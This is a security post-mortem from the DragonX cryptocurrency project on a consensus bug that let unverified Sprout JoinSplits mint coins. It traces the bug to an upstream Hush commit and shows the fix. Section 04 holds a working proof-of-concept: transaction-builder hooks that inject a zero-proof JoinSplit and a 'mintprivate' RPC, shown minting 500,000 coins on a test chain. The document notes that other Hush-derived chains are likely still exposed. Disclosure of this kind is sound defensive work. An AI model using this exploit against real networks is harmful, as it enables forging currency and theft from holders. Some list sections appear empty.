DragonXDragonX
Security Post-Mortem

The Sprout JoinSplit Inflation Bug

A critical consensus flaw — inherited from upstream code — that could have let a forged transaction mint coins from nothing. Found in an internal audit, proven never used on mainnet, and fixed across the network.

Critical severity Fixed & deployed 2026-07-12
Your funds were never at risk

The DragonX mainnet was never exploited. A full audit of the chain's entire history found zero JoinSplit transactions ever, and the total coin supply reconciles exactly against the emission schedule — no coins were forged, no inflation occurred. The bug was discovered in an internal security review and fixed on every production node before this post-mortem was published. Nothing is required of users.

01Summary

DragonX is a fully-shielded (Sapling) privacy chain descended from the Hush / Zcash lineage. Deep in that inherited code sat a dormant flaw in the older Sprout shielded system: a transaction carrying a Sprout JoinSplit had its zero-knowledge proof never verified, yet the value it claimed to add was still counted as real. In principle, anyone could have crafted a transaction with a forged, all-zero JoinSplit declaring an arbitrary amount and minted coins out of thin air.

We found it during an internal consensus audit, reproduced it end-to-end on an isolated test chain, confirmed through a full-chain audit that it had never been triggered on mainnet, wrote a one-line consensus fix, and rolled it out to the entire node fleet. This page documents exactly what happened, in the interest of full transparency.

02What the vulnerability was

Three facts combined into an inflation vector:

So a transaction with a garbage JoinSplit (a zero-filled proof) claiming vpub_new = X would be accepted, contributing X of unbacked value — money from nothing. Because that value could be routed straight into a shielded output, it left no transparent trace.

Origin

This was not introduced by DragonX — it lives in shared upstream code that predates the chain. DragonX has always been Sapling-only and never used JoinSplits, so the vestigial Sprout path simply sat unguarded. See §03 for exactly when and where it entered the code.

03When & where it was introduced

The vulnerability was inherited, not written by DragonX. The codebase descends from Zcash by way of Komodo → Hush, and the flaw entered that shared lineage at one identifiable commit.

In the original Zcash code, CheckTransaction() verified every JoinSplit's zero-knowledge proof — so crediting a JoinSplit's vpub_new to the transparent value pool was safe. On 2020-06-06, upstream Hush commit f13171e (“desprout”), part of a series retiring the disused Sprout shielded system, deleted that check:

removed in Hush commit f13171e — src/main.cpp, CheckTransaction()
- BOOST_FOREACH(const JSDescription &joinsplit, tx.vjoinsplit) {
-     if (!joinsplit.Verify(*pzcashParams, verifier, tx.joinSplitPubKey)) {
-         return state.DoS(100, error("CheckTransaction(): joinsplit does not verify"),
-                          REJECT_INVALID, "bad-txns-joinsplit-verification-failed");
-     }
- }

The removal was incomplete. It stripped the proof check but left two things standing: the code that still credits a JoinSplit's vpub_new as transparent value, and the absence of any rule rejecting a JoinSplit-bearing transaction. Those two survivors are the vulnerability — the verifier argument was left in the function signature as dead weight, passed through the validator but never called again.

A later Hush commit 93a931b (2021-03-30), pointedly titled “Hush has no JoinSplits,” only reworded a nearby code comment — it added no actual rejection, so the gap stayed open. DragonX forked from Hush and inherited the unguarded path; it was present from DragonX's genesis but, as the mainnet audit in §05 shows, was never triggered.

Blast radius

Because the origin is upstream, any active chain descending from post-2020 Hush code that still carries the Sprout structures is likely affected the same way until it adds an equivalent guard.

04How it was reproduced (isolated chain — never mainnet)

To prove the flaw was genuinely exploitable rather than merely theoretical, we reproduced it end-to-end on a private, single-node chain running DragonX's own consensus rules, unmodified. The only code we added lived on the attacker's side — the tooling needed to emit a malformed transaction. The validation path was left exactly as shipped, so the node accepting the transaction is the real defect, not a rigged test.

The test chain

Launching an assetchain literally named DRAGONX loads the same consensus parameters baked into the mainnet binary — same proof-of-work, same emission, same fully-shielded policy — on a fresh, isolated genesis with no link to the real network:

isolated reproduction chain — consensus identical to mainnet
-ac_name=DRAGONX     # loads mainnet's baked-in consensus params
-ac_algo=randomx     # same RandomX proof-of-work
-ac_reward=300000000 # same 3.0-coin block subsidy
-ac_blocktime=36     # same 36-second target spacing
-ac_halving=3500000  # same halving schedule
-ac_private=1        # same fully-shielded (Sapling-only) policy
-testnode=1          # let one node mine the private chain

The attacker's tooling

No ordinary wallet can emit a JoinSplit any more — Sprout was retired — so we added two small, clearly-marked hooks to the transaction builder, and nothing to the validator:

Both hooks only affect how the transaction is constructed. The consensus code that accepts it — ContextualCheckTransaction, ConnectBlock, GetShieldedValueIn — ran precisely as it does on mainnet. The full added code (every block marked PENTEST-ONLY) follows.

src/transaction_builder.h — the switch
CAmount m_fakeVpubNew = 0;
void SetFakeJoinSplit(CAmount vpub_new) { m_fakeVpubNew = vpub_new; }
src/transaction_builder.cpp — inside Build(), before the signatures
// credit the injected vpub_new so the builder's own change math balances
change += m_fakeVpubNew;

// inject a garbage Sprout JoinSplit whose vpub_new mints value from nothing;
// DragonX never verifies JoinSplit proofs/sigs/nullifiers/anchors. Placed before
// the sighash so the binding signature covers the tx that includes it.
if (m_fakeVpubNew > 0) {
    JSDescription js;
    js.vpub_old = 0;
    js.vpub_new = m_fakeVpubNew;
    js.proof    = libzcash::GrothProof();   // 192 zero bytes
    mtx.vjoinsplit.push_back(js);
}
src/rpc/rawtransaction.cpp — the mintprivate driver (boilerplate elided)
UniValue mintprivate(const UniValue& params, bool fHelp, const CPubKey& mypk)
{
    uint256 txid = ParseHashV(params[0], "txid");
    int     vout = params[1].get_int();
    CAmount mint = AmountFromValue(params[2]);

    CCoins coins;
    if (!pcoinsTip->GetCoins(txid, coins) || !coins.IsAvailable(vout))
        throw JSONRPCError(RPC_INVALID_PARAMETER, "utxo not found or already spent");
    CAmount inVal    = coins.vout[vout].nValue;
    CScript inScript = coins.vout[vout].scriptPubKey;

    // fresh shielded destination; ALL value goes into it (ac_private=1 => no t-output)
    auto zaddr = pwalletMain->GenerateNewSaplingZKey();
    TransactionBuilder builder(Params().GetConsensus(), chainActive.Height()+1, pwalletMain);
    builder.SetFee(0);
    builder.AddTransparentInput(COutPoint(txid, (uint32_t)vout), inScript, inVal);
    builder.AddSaplingOutput(uint256(), zaddr, inVal + mint);
    builder.SetFakeJoinSplit(mint);          // <-- the forged JoinSplit

    CTransaction tx = builder.Build().get();
    // ... return { txid, zaddr, mint, sapling_out, njoinsplit, hex }
}

The result

Real anchor input (one matured coinbase)1,000,000.107
Forged JoinSplit vpub_new — proof = 192 zero bytes+500,000
Transparent outputs0
JoinSplits in the mined transaction1
Shielded output into a fresh z-address1,500,000.107
Accepted → mined → verifychain level 4yes · true
Net minted from nothing+500,000

Why it validated cleanly

The transaction balanced only because of the two survivors from §03. GetShieldedValueIn() credited the JoinSplit's vpub_new as 500,000 of transparent value-in, exactly covering the oversized shielded output — so the node saw a perfectly balanced transaction. And with the joinsplit.Verify(...) call gone, the 192 zero bytes were never checked against anything. A full verifychain at level 4 afterwards re-validated every block and still returned true — there was simply no JoinSplit proof-check left to fail. The forged coins were indistinguishable from real shielded funds, which is exactly why the mainnet audit in §05 mattered so much.

05Was it ever exploited on mainnet? No.

Before disclosing anything, we audited the live DragonX chain end-to-end. Two independent checks both came back clean:

Verdict

The vulnerability was real and serious, but it was dormant — no coins were ever minted through it, and no user balance was ever affected. We fixed it while it was still purely theoretical.

06The fix

DragonX is Sapling-only and has zero JoinSplits in its entire history, so the correct fix is simply to reject any transaction that carries one, at the consensus layer. It's a ~10-line guard placed where every transaction and every block is validated:

src/main.cpp — ContextualCheckTransaction
// Reject Sprout JoinSplits at consensus. DragonX is Sapling-only from genesis
// (zero JoinSplits in its entire history), so a tx carrying one is illegitimate.
// Their proof/sig/nullifier/anchor are never verified while vpub_new is counted
// as value-in -> unlimited inflation. Coinbase exempt.
if (!tx.IsMint() && !tx.vjoinsplit.empty()) {
    return state.DoS(100,
        error("Sprout JoinSplits are disabled (inflation vector)"),
        REJECT_INVALID, "bad-txns-joinsplit-disabled");
}

Because no legitimate DragonX transaction has ever contained a JoinSplit, this guard is completely inert for normal use — wallets, transfers, mining and shielded payments are entirely unaffected. It only ever fires against an attack. It was committed as d52550a6f on the dev branch and deployed to all production nodes.

07Timeline

08Upstream & disclosure

The flaw originates in the upstream Hush / Zcash Sprout code that DragonX forked from — the removal of JoinSplit proof verification traces back to that lineage, not to DragonX. Any chain still running that shared code is likely affected the same way.

With the DragonX network fully patched, we are publishing this post-mortem for the transparency of our own community.

09What this means for you